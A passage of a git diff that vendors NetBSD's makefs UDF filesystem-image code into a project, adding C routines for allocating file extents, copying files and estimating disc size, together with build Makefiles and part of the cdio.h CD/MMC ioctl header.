udf_rw32(last_long->loc.lb_num); + last_part_num = udf_rw16(last_long->loc.part_num); + last_len = UDF_EXT_LEN(udf_rw32(last_long->len)); + last_flags = UDF_EXT_FLAGS(udf_rw32(last_long->len)); + } + } + + piece_len = UDF_EXT_LEN(udf_rw32(piece->len)); + piece_lb_num = udf_rw32(piece->loc.lb_num); + piece_part_num = udf_rw16(piece->loc.part_num); + + /* try merging */ + rest_len = max_len - last_len; + + merge_len = MIN(piece_len, rest_len); + last_end = last_lb_num + (last_len / sector_size); + if ((piece_lb_num == last_end) && (last_part_num == piece_part_num)) { + /* we can merge */ + last_len += merge_len; + piece_len -= merge_len; + + /* write back merge result */ + if (use_shorts) { + last_short->len = udf_rw32(last_len | last_flags); + } else { + last_long->len = udf_rw32(last_len | last_flags); + } + piece_lb_num += merge_len / sector_size; + } + + if (piece_len) { + /* append new entry */ + pos = data + l_ea + l_ad; + if (use_shorts) { + icb->flags = udf_rw16(UDF_ICB_SHORT_ALLOC); + memset(&new_short, 0, short_len); + new_short.len = udf_rw32(piece_len); + new_short.lb_num = udf_rw32(piece_lb_num); + memcpy(pos, &new_short, short_len); + l_ad += short_len; + crclen += short_len; + } else { + icb->flags = udf_rw16(UDF_ICB_LONG_ALLOC); + piece->len = udf_rw32(piece_len); + piece->loc.lb_num = udf_rw32(piece_lb_num); + memcpy(pos, piece, long_len); + l_ad += long_len; + crclen += long_len; + } + } + piece->len = udf_rw32(0); + + inf_len += size; + obj_size += size; + logblks_rec += UDF_ROUNDUP(size, sector_size) / sector_size; + + dscr->tag.desc_crc_len = udf_rw16(crclen); + if (udf_rw16(dscr->tag.id) == TAGID_FENTRY) { + fe->l_ad = udf_rw32(l_ad); + fe->inf_len = udf_rw64(inf_len); + fe->logblks_rec = udf_rw64(logblks_rec); + } else if (udf_rw16(dscr->tag.id) == TAGID_EXTFENTRY) { + efe->l_ad = udf_rw32(l_ad); + efe->inf_len = udf_rw64(inf_len); + efe->obj_size = udf_rw64(inf_len); + efe->logblks_rec = udf_rw64(logblks_rec); + } +} + + +static int +udf_append_file_contents(union dscrptr *dscr, struct long_ad *data_icb, + uint8_t *fdata, off_t flen) +{ + struct long_ad icb; + uint32_t location; + uint16_t vpart; + int sectors; + + if (udf_file_inject_blob(dscr, fdata, flen) == 0) + return 0; + + /* has to be appended in mappings */ + icb = *data_icb; + icb.len = udf_rw32(flen); + while (udf_rw32(icb.len) > 0) + udf_append_file_mapping(dscr, &icb); + udf_validate_tag_and_crc_sums(dscr); + + /* write out data piece */ + vpart = udf_rw16(data_icb->loc.part_num); + location = udf_rw32(data_icb->loc.lb_num); + sectors = udf_datablocks(flen); + + return udf_write_virt(fdata, location, vpart, sectors); +} + + +static int +udf_create_new_file(struct stat *st, union dscrptr **dscr, + int filetype, struct long_ad *icb) +{ + struct file_entry *fe; + struct extfile_entry *efe; + int error; + + fe = NULL; + efe = NULL; + if (context.dscrver == 2) { + error = udf_create_new_fe(&fe, filetype, st); + if (error) + errx(error, "can't create fe"); + *dscr = (union dscrptr *) fe; + icb->longad_uniqueid = udf_rw32(udf_rw64(fe->unique_id)); + } else { + error = udf_create_new_efe(&efe, filetype, st); + if (error) + errx(error, "can't create fe"); + *dscr = (union dscrptr *) efe; + icb->longad_uniqueid = udf_rw32(udf_rw64(efe->unique_id)); + } + + return 0; +} + + +static void +udf_estimate_walk(fsinfo_t *fsopts, + fsnode *root, char *dir, struct udf_stats *stats) +{ + struct fileid_desc *fid; + struct long_ad dummy_ref; + fsnode *cur; + fsinode *fnode; + size_t pathlen = strlen(dir); + char *mydir = dir + pathlen; + off_t sz; + uint32_t nblk, ddoff; + uint32_t softlink_len; + uint8_t *softlink_buf; + int nentries; + int error; + + stats->ndirs++; + + /* + * Count number of directory entries and count directory size; needed + * for the reservation of enough space for the directory. Pity we + * don't keep the FIDs we created. If it turns out to be a issue we + * can cache it later. + */ + fid = (struct fileid_desc *) malloc(context.sector_size); + assert(fid); + + ddoff = 40; /* '..' entry */ + for (cur = root, nentries = 0; cur != NULL; cur = cur->next) { + switch (cur->type & S_IFMT) { + default: + /* what kind of nodes? */ + break; + case S_IFCHR: + case S_IFBLK: + /* not supported yet */ + break; + case S_IFDIR: + if (strcmp(cur->name, ".") == 0) + continue; + /* FALLTHROUGH */ + case S_IFLNK: + case S_IFREG: + /* create dummy FID to see how long name will become */ + memset(&dummy_ref, 0, sizeof(dummy_ref)); + udf_create_fid(ddoff, fid, cur->name, 0, &dummy_ref); + nentries++; + ddoff += udf_fidsize(fid); + break; + } + } + sz = ddoff; + + root->inode->st.st_size = sz; /* max now */ + root->inode->flags |= FI_SIZED; + + nblk = udf_datablocks(sz); + stats->nmetadatablocks += nblk; + + /* for each entry in the directory, there needs to be a (E)FE */ + stats->nmetadatablocks += nentries + 1; + + /* recurse */ + for (cur = root; cur != NULL; cur = cur->next) { + switch (cur->type & S_IFMT) { + default: + /* what kind of nodes? */ + break; + case S_IFDIR: + if (strcmp(cur->name, ".") == 0) + continue; + /* empty dir? */ + if (!cur->child) + break; + mydir[0] = '/'; + strncpy(&mydir[1], cur->name, MAXPATHLEN - pathlen); + udf_estimate_walk(fsopts, cur->child, dir, stats); + mydir[0] = '\0'; + break; + case S_IFCHR: + case S_IFBLK: + /* not supported yet */ + // stats->nfiles++; + break; + case S_IFREG: + fnode = cur->inode; + /* don't double-count hard-links */ + if (!(fnode->flags & FI_SIZED)) { + sz = fnode->st.st_size; + nblk = udf_datablocks(sz); + stats->ndatablocks += nblk; + /* ... */ + fnode->flags |= FI_SIZED; + } + stats->nfiles++; + break; + case S_IFLNK: + /* softlink */ + fnode = cur->inode; + /* don't double-count hard-links */ + if (!(fnode->flags & FI_SIZED)) { + error = udf_encode_symlink(&softlink_buf, + &softlink_len, cur->symlink); + if (error) { + printf("SOFTLINK error %d\n", error); + break; + } + nblk = udf_datablocks(softlink_len); + stats->ndatablocks += nblk; + fnode->flags |= FI_SIZED; + + free(softlink_buf); + } + stats->nfiles++; + break; + } + } +} + + +#define UDF_MAX_CHUNK_SIZE (4*1024*1024) +static int +udf_copy_file(struct stat *st, char *path, fsnode *cur, struct fileid_desc *fid, + struct long_ad *icb) +{ + union dscrptr *dscr; + struct long_ad data_icb; + fsinode *fnode; + off_t sz, chunk, rd; + uint8_t *data; + bool intern; + int nblk; + int f; + int error; + + fnode = cur->inode; + + f = open(path, O_RDONLY); + if (f < 0) { + warn("Can't open file %s for reading", cur->name); + return errno; + } + + /* claim disc space for the (e)fe descriptor for this file */ + udf_metadata_alloc(1, icb); + udf_create_new_file(st, &dscr, UDF_ICB_FILETYPE_RANDOMACCESS, icb); + + sz = fnode->st.st_size; + + chunk = MIN(sz, UDF_MAX_CHUNK_SIZE); + data = malloc(MAX(UDF_ROUNDUP(chunk, context.sector_size), context.sector_size)); + assert(data); + + intern = (udf_datablocks(chunk) == 0); + error = 0; + while (chunk) { + rd = read(f, data, chunk); + if (rd != chunk) { + warn("Short read of file %s", cur->name); + error = errno; + break; + } + + nblk = UDF_ROUNDUP(chunk, context.sector_size) / context.sector_size; + if (chunk && !intern) + udf_data_alloc(nblk, &data_icb); + udf_append_file_contents(dscr, &data_icb, data, chunk); + + sz -= chunk; + chunk = MIN(sz, UDF_MAX_CHUNK_SIZE); + } + close(f); + free(data); + + /* write out dscr (e)fe */ + udf_set_link_cnt(dscr, fnode->nlink); + udf_write_dscr_virt(dscr, udf_rw32(icb->loc.lb_num), + udf_rw16(icb->loc.part_num), 1); + free(dscr); + + /* remember our location for hardlinks */ + cur->inode->fsuse = malloc(sizeof(struct long_ad)); + memcpy(cur->inode->fsuse, icb, sizeof(struct long_ad)); + + return error; +} + + +static int +udf_populate_walk(fsinfo_t *fsopts, fsnode *root, char *dir, + struct long_ad *parent_icb, struct long_ad *dir_icb) +{ + union dscrptr *dir_dscr, *dscr; + struct fileid_desc *fid; + struct long_ad icb, data_icb, dirdata_icb; + fsnode *cur; + fsinode *fnode; + size_t pathlen = strlen(dir); + size_t dirlen; + char *mydir = dir + pathlen; + uint32_t nblk, ddoff; + uint32_t softlink_len; + uint8_t *softlink_buf; + uint8_t *dirdata; + int error, ret, retval; + + /* claim disc space for the (e)fe descriptor for this dir */ + udf_metadata_alloc(1, dir_icb); + + /* create new e(fe) */ + udf_create_new_file(&root->inode->st, &dir_dscr, + UDF_ICB_FILETYPE_DIRECTORY, dir_icb); + + /* allocate memory for the directory contents */ + dirlen = root->inode->st.st_size; + nblk = UDF_ROUNDUP(dirlen, context.sector_size) / context.sector_size; + dirdata = malloc(nblk * context.sector_size); + assert(dirdata); + memset(dirdata, 0, nblk * context.sector_size); + + /* create and append '..' */ + fid = (struct fileid_desc *) dirdata; + ddoff = udf_create_parentfid(fid, parent_icb); + assert(ddoff == 40); + + /* for '..' */ + udf_inc_link(dir_dscr); + + /* recurse */ + retval = 0; + for (cur = root; cur != NULL; cur = cur->next) { + mydir[0] = '/'; + strncpy(&mydir[1], cur->name, MAXPATHLEN - pathlen); + + fid = (struct fileid_desc *) (dirdata + ddoff); + switch (cur->type & S_IFMT) { + default: + /* what kind of nodes? */ + retval = 2; + break; + case S_IFCHR: + case S_IFBLK: + /* not supported */ + retval = 2; + warnx("device node %s not supported", dir); + break; + case S_IFDIR: + /* not an empty dir? */ + if (strcmp(cur->name, ".") == 0) + break; + assert(cur->child); + if (cur->child) { + ret = udf_populate_walk(fsopts, cur->child, + dir, dir_icb, &icb); + if (ret) + retval = 2; + } + udf_create_fid(ddoff, fid, cur->name, + UDF_FILE_CHAR_DIR, &icb); + udf_inc_link(dir_dscr); + ddoff += udf_fidsize(fid); + break; + case S_IFREG: + fnode = cur->inode; + /* don't re-copy hard-links */ + if (!(fnode->flags & FI_WRITTEN)) { + printf("%s\n", dir); + error = udf_copy_file(&fnode->st, dir, cur, + fid, &icb); + if (!error) { + fnode->flags |= FI_WRITTEN; + udf_create_fid(ddoff, fid, cur->name, + 0, &icb); + ddoff += udf_fidsize(fid); + } else { + retval = 2; + } + } else { + /* hardlink! */ + printf("%s (hardlink)\n", dir); + udf_create_fid(ddoff, fid, cur->name, + 0, (struct long_ad *) (fnode->fsuse)); + ddoff += udf_fidsize(fid); + } + fnode->nlink--; + if (fnode->nlink == 0) + free(fnode->fsuse); + break; + case S_IFLNK: + /* softlink */ + fnode = cur->inode; + printf("%s -> %s\n", dir, cur->symlink); + error = udf_encode_symlink(&softlink_buf, + &softlink_len, cur->symlink); + if (error) { + printf("SOFTLINK error %d\n", error); + retval = 2; + break; + } + + udf_metadata_alloc(1, &icb); + udf_create_new_file(&fnode->st, &dscr, + UDF_ICB_FILETYPE_SYMLINK, &icb); + + nblk = udf_datablocks(softlink_len); + if (nblk > 0) + udf_data_alloc(nblk, &data_icb); + udf_append_file_contents(dscr, &data_icb, + softlink_buf, softlink_len); + + /* write out dscr (e)fe */ + udf_inc_link(dscr); + udf_write_dscr_virt(dscr, udf_rw32(icb.loc.lb_num), + udf_rw16(icb.loc.part_num), 1); + + free(dscr); + free(softlink_buf); + + udf_create_fid(ddoff, fid, cur->name, 0, &icb); + ddoff += udf_fidsize(fid); + break; + } + mydir[0] = '\0'; + } + assert(dirlen == ddoff); + + /* pre allocate space for the directory contents */ + memset(&dirdata_icb, 0, sizeof(dirdata_icb)); + nblk = udf_datablocks(dirlen); + + /* claim disc space for the dir contents if needed */ + if (nblk > 0) + udf_fids_alloc(nblk, &dirdata_icb); + + udf_prepare_fids(dir_icb, &dirdata_icb, dirdata, dirlen); + udf_append_file_contents(dir_dscr, &dirdata_icb, dirdata, dirlen); + + /* write out dir_dscr (e)fe */ + udf_write_dscr_virt(dir_dscr, udf_rw32(dir_icb->loc.lb_num), + udf_rw16(dir_icb->loc.part_num), 1); + + free(dirdata); + free(dir_dscr); + return retval; +} + + +static int +udf_populate(const char *dir, fsnode *root, fsinfo_t *fsopts, + struct udf_stats *stats) +{ + struct long_ad rooticb; + static char path[MAXPATHLEN+1]; + int error; + + strncpy(path, dir, sizeof(path)); + error = udf_populate_walk(fsopts, root, path, &rooticb, &rooticb); + + return error; +} + + +static void +udf_enumerate_and_estimate(const char *dir, fsnode *root, fsinfo_t *fsopts, + struct udf_stats *stats) +{ + char path[MAXPATHLEN + 1]; + off_t proposed_size; + uint32_t n, nblk, nmetablk, nbytes; + uint32_t spareable_blocks, spareable_blockingnr; + + strncpy(path, dir, sizeof(path)); + + /* calculate strict minimal size */ + udf_estimate_walk(fsopts, root, path, stats); +#if 0 + printf("ndirs %d\n", stats->ndirs); + printf("nfiles %d\n", stats->nfiles); + printf("ndata_blocks %d\n", stats->ndatablocks); + printf("nmetadata_blocks %d\n", stats->nmetadatablocks); + printf("\n"); +#endif + + /* adjust for options : free file nodes */ + if (fsopts->freefiles) { + /* be mercifull and reserve more for the FID */ + stats->nmetadatablocks += fsopts->freefiles * 1.5; + } else if ((n = fsopts->freefilepc)) { + stats->nmetadatablocks += (stats->nmetadatablocks*n) / (100-n); + } + + /* adjust for options : free data blocks */ + if (fsopts->freeblocks) { + stats->ndatablocks += fsopts->freeblocks; + } else if ((n = fsopts->freeblockpc)) { + stats->ndatablocks += (stats->ndatablocks * n) / (100-n); + } + + /* rough predictor of minimum disc size */ + nblk = stats->ndatablocks + stats->nmetadatablocks; + if (context.format_flags & FORMAT_META) { + float meta_p; + double factor; + + meta_p = (float) context.meta_perc/100.0; + factor = meta_p / (1.0 - meta_p); + + /* add space for metadata partition including some slack */ + nmetablk = factor * nblk + 32; + nblk = stats->ndatablocks + nmetablk; + + /* free space maps */ + nbytes = ceil((double) nblk * (1.0/8.0)); + nblk += 1 + (nbytes + context.sector_size-1)/context.sector_size; + if (!(context.format_flags & FORMAT_READONLY)) { + nbytes = ceil((double) nmetablk * (1.0/8.0)); + nblk += 1 + (nbytes + context.sector_size-1)/context.sector_size; + } + } else if (context.format_flags & FORMAT_SEQUENTIAL) { + /* nothing */ + } else { + if (!(context.format_flags & FORMAT_READONLY)) { + nbytes = ceil((double) nblk * (1.0/8.0)); + nblk += 1 + (nbytes + context.sector_size-1)/ + context.sector_size; + } + } + + /* + * Make extra room for spareable table if requested + */ + if (context.format_flags & FORMAT_SPAREABLE) { + spareable_blockingnr = udf_spareable_blockingnr(); + spareable_blocks = udf_spareable_blocks(); + + nblk += spareable_blocks * spareable_blockingnr; + nblk += spareable_blockingnr; /* slack */ + } + + nblk += 256; /* pre-volume space */ + nblk += 256; /* post-volume space */ + nblk += 1024; /* safeguard */ + + /* try to honour minimum size */ + n = fsopts->minsize / fsopts->sectorsize; + if (nblk < n) { + stats->ndatablocks += (n - nblk); + nblk += n - nblk; + } + proposed_size = (off_t) nblk * fsopts->sectorsize; + /* sanity size */ + if (proposed_size < 512*1024) + proposed_size = 512*1024; + + if (fsopts->size) { + if (fsopts->size < proposed_size) + errx(1, "makefs_udf: won't fit on disc!"); + } else { + fsopts->size = proposed_size; + } + + fsopts->inodes = stats->nfiles + stats->ndirs; +} + + +void +udf_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts) +{ + struct udf_stats stats; + uint64_t truncate_len; + uint32_t last_sector, ext; + char scrap[255]; + int error; + + /* setup */ + emul_sectorsize = fsopts->sectorsize; + emul_size = 0; + context.sector_size = fsopts->sectorsize; + + /* names */ + error = udf_proces_names(); + if (error) + errx(1, "bad names given"); + + /* open disc device or emulated file */ + if (udf_opendisc(image, O_CREAT)) { + udf_closedisc(); + errx(1, "can't open %s", image); + } + fsopts->fd = dev_fd; + + /* determine format */ + if (udf_readonly_format()) + req_enable |= FORMAT_READONLY; + // printf("req_enable %d, req_disable %d\n", req_enable, req_disable); + error = udf_derive_format(req_enable, req_disable); + if (error) { + udf_closedisc(); + errx(1, "can't derive format from media/settings"); + } + + /* estimate the amount of space needed */ + memset(&stats, 0, sizeof(stats)); + udf_enumerate_and_estimate(dir, root, fsopts, &stats); + + printf("Calculated size of `%s' is " + "%"PRIu64" KiB, %"PRIu64" MiB, %"PRIu64" GiB with %ld inodes\n", + image, + (uint64_t) fsopts->size/1024, + (uint64_t) fsopts->size/1024/1024, + (uint64_t) fsopts->size/1024/1024/1024, + (long)fsopts->inodes); + emul_size = MAX(emul_size, fsopts->size); + if ((fsopts->maxsize > 0) && (emul_size > fsopts->maxsize)) + errx(1, "won't fit due to set maximum disk size"); + + /* prepare disc if necessary (recordables mainly) */ + error = udf_prepare_disc(); + if (error) { + udf_closedisc(); + errx(1, "preparing disc failed"); + } + + /* update mmc info but now with correct size */ + udf_update_discinfo(); + udf_dump_discinfo(&mmc_discinfo); + + printf("Building disc compatible with UDF version %x to %x\n\n", + context.min_udf, context.max_udf); +// (void)snprintb(scrap, sizeof(scrap), FORMAT_FLAGBITS, +// (uint64_t) context.format_flags); + printf("UDF properties %s\n", scrap); + printf("Volume set `%s'\n", context.volset_name); + printf("Primary volume `%s`\n", context.primary_name); + printf("Logical volume `%s`\n", context.logvol_name); + if (context.format_flags & FORMAT_META) + printf("Metadata percentage %d%% (%d%% used)\n", + context.meta_perc, + (int) ceilf(100.0*stats.nmetadatablocks/stats.ndatablocks)); + printf("\n"); + + /* prefix */ + udf_allow_writing(); + if (udf_do_newfs_prefix()) { + udf_closedisc(); + errx(1, "basic setup failed"); + } + + /* update context */ + context.unique_id = 0; + + /* add all directories */ + error = udf_populate(dir, root, fsopts, &stats); + + if (!error) { + /* update values for integrity sequence */ + context.num_files = stats.nfiles; + context.num_directories = stats.ndirs; + + udf_do_newfs_postfix(); + + if (S_ISREG(dev_fd_stat.st_mode) && + (context.format_flags & FORMAT_VAT)) { + udf_translate_vtop(context.alloc_pos[context.data_part], + context.data_part, + &last_sector, &ext); + truncate_len = (uint64_t) last_sector * context.sector_size; + + printf("\nTruncing the disc-image to allow for VAT\n"); + printf("Free space left on this volume approx. " + "%"PRIu64" KiB, %"PRIu64" MiB\n", + (fsopts->size - truncate_len)/1024, + (fsopts->size - truncate_len)/1024/1024); + ftruncate(dev_fd, truncate_len); + } + } + udf_closedisc(); + + if (error == 2) + errx(error, "not all files could be added"); + if (error == 1) + errx(error, "creation of %s failed", image); + return; +} diff --git a/thirdparty/makefs/udf/Makefile b/thirdparty/makefs/udf/Makefile new file mode 100644 index 0000000..0c50ef9 --- /dev/null +++ b/thirdparty/makefs/udf/Makefile @@ -0,0 +1,19 @@ +# $NetBSD: Makefile.inc,v 1.2 2013/08/05 18:45:00 reinoud Exp $ +# + +UDF= ${NETBSDSRCDIR}/sys/fs/udf +UDF_NEWFS= ${NETBSDSRCDIR}/sbin/newfs_udf +FSCK= ${NETBSDSRCDIR}/sbin/fsck # use progress meter. + +.PATH: ${.CURDIR}/udf ${UDF} ${UDF_NEWFS} ${FSCK} + +CPPFLAGS+= -I${UDF} -I${UDF_NEWFS} -I${FSCK} + +SRCS += udf_create.c udf_write.c udf_osta.c newfs_udf.c + +objs: + $(CC) -o udf_osta.o udf_osta.c + $(CC) -o udf_create.o udf_create.c + $(CC) -o udf_write.o udf_write.c + ar rs libudf.a *.o + diff --git a/thirdparty/makefs/udf/Makefile.inc b/thirdparty/makefs/udf/Makefile.inc new file mode 100644 index 0000000..706965d --- /dev/null +++ b/thirdparty/makefs/udf/Makefile.inc @@ -0,0 +1,16 @@ +# $NetBSD: Makefile.inc,v 1.2 2013/08/05 18:45:00 reinoud Exp $ +# + +UDF= ${NETBSDSRCDIR}/sys/fs/udf +UDF_NEWFS= ${NETBSDSRCDIR}/sbin/newfs_udf +FSCK= ${NETBSDSRCDIR}/sbin/fsck # use progress meter. + +.PATH: ${.CURDIR}/udf ${UDF} ${UDF_NEWFS} ${FSCK} + +CPPFLAGS+= -I${UDF} -I${UDF_NEWFS} -I${FSCK} + +SRCS += udf_create.c udf_write.c udf_osta.c + +libs: + $(CC) $(SRCS) -o libudf.o + diff --git a/thirdparty/makefs/udf/cdio.h b/thirdparty/makefs/udf/cdio.h new file mode 100644 index 0000000..86e2375 --- /dev/null +++ b/thirdparty/makefs/udf/cdio.h @@ -0,0 +1,429 @@ +/* $NetBSD: cdio.h,v 1.34 2015/09/06 06:01:02 dholland Exp $ */ + +#ifndef _SYS_CDIO_H_ +#define _SYS_CDIO_H_ + +#include + +// #include + +/* Shared between kernel & process */ + +union msf_lba { + struct { + u_char unused; + u_char minute; + u_char second; + u_char frame; + } msf; + uint32_t lba; + u_char addr[4]; +}; + +struct cd_toc_entry { + u_char nothing1; +#if BYTE_ORDER == LITTLE_ENDIAN + uint32_t control:4; + uint32_t addr_type:4; +#endif +#if BYTE_ORDER == BIG_ENDIAN + uint32_t addr_type:4; + uint32_t control:4; +#endif + u_char track; + u_char nothing2; + union msf_lba addr; +}; + +struct cd_sub_channel_header { + u_char nothing1; + u_char audio_status; +#define CD_AS_AUDIO_INVALID 0x00 +#define CD_AS_PLAY_IN_PROGRESS 0x11 +#define CD_AS_PLAY_PAUSED 0x12 +#define CD_AS_PLAY_COMPLETED 0x13 +#define CD_AS_PLAY_ERROR 0x14 +#define CD_AS_NO_STATUS 0x15 + u_char data_len[2]; +}; + +struct cd_sub_channel_q_data { + u_char data_format; +#if BYTE_ORDER == LITTLE_ENDIAN + uint32_t control:4; + uint32_t addr_type:4; +#endif +#if BYTE_ORDER == BIG_ENDIAN + uint32_t addr_type:4; + uint32_t control:4; +#endif + u_char track_number; + u_char index_number; + u_char absaddr[4]; + u_char reladdr[4]; +#if BYTE_ORDER == LITTLE_ENDIAN + uint32_t :7; + uint32_t mc_valid:1; +#endif +#if BYTE_ORDER == BIG_ENDIAN + uint32_t mc_valid:1; + uint32_t :7; +#endif + u_char mc_number[15]; +#if BYTE_ORDER == LITTLE_ENDIAN + uint32_t :7; + uint32_t ti_valid:1; +#endif +#if BYTE_ORDER == BIG_ENDIAN + uint32_t ti_valid:1; + uint32_t :7; +#endif + u_char ti_number[15]; +}; + +struct cd_sub_channel_position_data { + u_char data_format; +#if BYTE_ORDER == LITTLE_ENDIAN + uint32_t control:4; + uint32_t addr_type:4; +#endif +#if BYTE_ORDER == BIG_ENDIAN + uint32_t addr_type:4; + uint32_t control:4; +#endif + u_char track_number; + u_char index_number; + union msf_lba absaddr; + union msf_lba reladdr; +}; + +struct cd_sub_channel_media_catalog { + u_char data_format; + u_char nothing1; + u_char nothing2; + u_char nothing3; +#if BYTE_ORDER == LITTLE_ENDIAN + uint32_t :7; + uint32_t mc_valid:1; +#endif +#if BYTE_ORDER == BIG_ENDIAN + uint32_t mc_valid:1; + uint32_t :7; +#endif + u_char mc_number[15]; +}; + +struct cd_sub_channel_track_info { + u_char data_format; + u_char nothing1; + u_char track_number; + u_char nothing2; +#if BYTE_ORDER == LITTLE_ENDIAN + uint32_t :7; + uint32_t ti_valid:1; +#endif +#if BYTE_ORDER == BIG_ENDIAN + uint32_t ti_valid:1; + uint32_t :7; +#endif + u_char ti_number[15]; +}; + +struct cd_sub_channel_info { + struct cd_sub_channel_header header; + union { + struct cd_sub_channel_q_data q_data; + struct cd_sub_channel_position_data position; + struct cd_sub_channel_media_catalog media_catalog; + struct cd_sub_channel_track_info track_info; + } what; +}; + +/* + * Ioctls for the CD drive + */ +struct ioc_play_track { + u_char start_track; + u_char start_index; + u_char end_track; + u_char end_index; +}; + +#define CDIOCPLAYTRACKS _IOW('c', 1, struct ioc_play_track) +struct ioc_play_blocks { + int blk; + int len; +}; +#define CDIOCPLAYBLOCKS _IOW('c', 2, struct ioc_play_blocks) + +struct ioc_read_subchannel { + u_char address_format; +#define CD_LBA_FORMAT 1 +#define CD_MSF_FORMAT 2 + u_char data_format; +#define CD_SUBQ_DATA 0 +#define CD_CURRENT_POSITION 1 +#define CD_MEDIA_CATALOG 2 +#define CD_TRACK_INFO 3 + u_char track; + int data_len; + struct cd_sub_channel_info *data; +}; +#define CDIOCREADSUBCHANNEL _IOWR('c', 3, struct ioc_read_subchannel ) + +#ifdef _KERNEL +/* As above, but with the buffer following the request for in-kernel users. */ +struct ioc_read_subchannel_buf { + struct ioc_read_subchannel req; + struct cd_sub_channel_info info; +}; +#define CDIOCREADSUBCHANNEL_BUF _IOWR('c', 3, struct ioc_read_subchannel_buf) +#endif + +struct ioc_toc_header { + u_short len; + u_char starting_track; + u_char ending_track; +}; + +#define CDIOREADTOCHEADER _IOR('c', 4, struct ioc_toc_header) + +struct ioc_read_toc_entry { + u_char address_format; + u_char starting_track; + u_short data_len; + struct cd_toc_entry *data; +}; +#define CDIOREADTOCENTRIES _IOWR('c', 5, struct ioc_read_toc_entry) +#define CDIOREADTOCENTRYS CDIOREADTOCENTRIES + +#ifdef _KERNEL +/* As above, but with the buffer following the request for in-kernel users. */ +struct ioc_read_toc_entry_buf { + struct ioc_read_toc_entry req; + struct cd_toc_entry entry[100]; /* NB: 8 bytes each */ +}; +#define CDIOREADTOCENTRIES_BUF _IOWR('c', 5, struct ioc_read_toc_entry_buf) +#endif + +/* read LBA start of a given session; 0=last, others not yet supported */ +#define CDIOREADMSADDR _IOWR('c', 6, int) + +struct ioc_patch { + u_char patch[4]; /* one for each channel */ +}; +#define CDIOCSETPATCH _IOW('c', 9, struct ioc_patch) + +struct ioc_vol { + u_char vol[4]; /* one for each channel */ +}; +#define CDIOCGETVOL _IOR('c', 10, struct ioc_vol) +#define CDIOCSETVOL _IOW('c', 11, struct ioc_vol) +#define CDIOCSETMONO _IO('c', 12) +#define CDIOCSETSTEREO _IO('c', 13) +#define CDIOCSETMUTE _IO('c', 14) +#define CDIOCSETLEFT _IO('c', 15) +#define CDIOCSETRIGHT _IO('c', 16) +#define CDIOCSETDEBUG _IO('c', 17) +#define CDIOCCLRDEBUG _IO('c', 18) +#define CDIOCPAUSE _IO('c', 19) +#define CDIOCRESUME _IO('c', 20) +#define CDIOCRESET _IO('c', 21) +#define CDIOCSTART _IO('c', 22) +#define CDIOCSTOP _IO('c', 23) +#define CDIOCEJECT _IO('c', 24) +#define CDIOCALLOW _IO('c', 25) +#define CDIOCPREVENT _IO('c', 26) +#define CDIOCCLOSE _IO('c', 27) + +struct ioc_play_msf { + u_char start_m; + u_char start_s; + u_char start_f; + u_char end_m; + u_char end_s; + u_char end_f; +}; +#define CDIOCPLAYMSF _IOW('c', 25, struct ioc_play_msf) + +struct ioc_load_unload { + u_char options; +#define CD_LU_ABORT 0x1 /* NOTE: These are the same as the ATAPI */ +#define CD_LU_UNLOAD 0x2 /* op values for the LOAD_UNLOAD command */ +#define CD_LU_LOAD 0x3 + u_char slot; +}; +#define CDIOCLOADUNLOAD _IOW('c', 26, struct ioc_load_unload) + + +#if defined(_KERNEL) || defined(_EXPOSE_MMC) +/* not exposed to userland yet until its completely mature */ +/* + * MMC device abstraction interface. + * + * It gathers information from GET_CONFIGURATION, READ_DISCINFO, + * READ_TRACKINFO, READ_TOC2, READ_CD_CAPACITY and GET_CONFIGURATION + * SCSI/ATAPI calls regardless if its a legacy CD-ROM/DVD-ROM device or a MMC + * standard recordable device. + */ +struct mmc_discinfo { + uint16_t mmc_profile; + uint16_t mmc_class; + + uint8_t disc_state; + uint8_t last_session_state; + uint8_t bg_format_state; + uint8_t link_block_penalty; /* in sectors */ + + uint64_t mmc_cur; /* current MMC_CAPs */ + uint64_t mmc_cap; /* possible MMC_CAPs */ + + uint32_t disc_flags; /* misc flags */ + + uint32_t disc_id; + uint64_t disc_barcode; + uint8_t application_code; /* 8 bit really */ + + uint8_t unused1[3]; /* padding */ + + uint32_t last_possible_lba; /* last leadout start adr. */ + uint32_t sector_size; + + uint16_t num_sessions; + uint16_t num_tracks; /* derived */ + + uint16_t first_track; + uint16_t first_track_last_session; + uint16_t last_track_last_session; + + uint16_t unused2; /* padding/misc info resv. */ + + uint16_t reserved1[4]; /* MMC-5 track resources */ + uint32_t reserved2[3]; /* MMC-5 POW resources */ + + uint32_t reserved3[8]; /* MMC-5+ */ +}; +#define MMCGETDISCINFO _IOR('c', 28, struct mmc_discinfo) + +#define MMC_CLASS_UNKN 0 +#define MMC_CLASS_DISC 1 +#define MMC_CLASS_CD 2 +#define MMC_CLASS_DVD 3 +#define MMC_CLASS_MO 4 +#define MMC_CLASS_BD 5 +#define MMC_CLASS_FILE 0xffff /* emulation mode */ + +#define MMC_DFLAGS_BARCODEVALID (1 << 0) /* barcode is present and valid */ +#define MMC_DFLAGS_DISCIDVALID (1 << 1) /* discid is present and valid */ +#define MMC_DFLAGS_APPCODEVALID (1 << 2) /* application code valid */ +#define MMC_DFLAGS_UNRESTRICTED (1 << 3) /* restricted, then set app. code */ + +#define MMC_DFLAGS_FLAGBITS \ + "\10\1BARCODEVALID\2DISCIDVALID\3APPCODEVALID\4UNRESTRICTED" + +#define MMC_CAP_SEQUENTIAL (1 << 0) /* sequential writable only */ +#define MMC_CAP_RECORDABLE (1 << 1) /* record-able; i.e. not static */ +#define MMC_CAP_ERASABLE (1 << 2) /* drive can erase sectors */ +#define MMC_CAP_BLANKABLE (1 << 3) /* media can be blanked */ +#define MMC_CAP_FORMATTABLE (1 << 4) /* media can be formatted */ +#define MMC_CAP_REWRITABLE (1 << 5) /* media can be rewritten */ +#define MMC_CAP_MRW (1 << 6) /* Mount Rainier formatted */ +#define MMC_CAP_PACKET (1 << 7) /* using packet recording */ +#define MMC_CAP_STRICTOVERWRITE (1 << 8) /* only writes a packet at a time */ +#define MMC_CAP_PSEUDOOVERWRITE (1 << 9) /* overwrite through replacement */ +#define MMC_CAP_ZEROLINKBLK (1 << 10) /* zero link block length capable */ +#define MMC_CAP_HW_DEFECTFREE (1 << 11) /* hardware defect management */ + +#define MMC_CAP_FLAGBITS \ + "\10\1SEQUENTIAL\2RECORDABLE\3ERASABLE\4BLANKABLE\5FORMATTABLE" \ + "\6REWRITABLE\7MRW\10PACKET\11STRICTOVERWRITE\12PSEUDOOVERWRITE" \ + 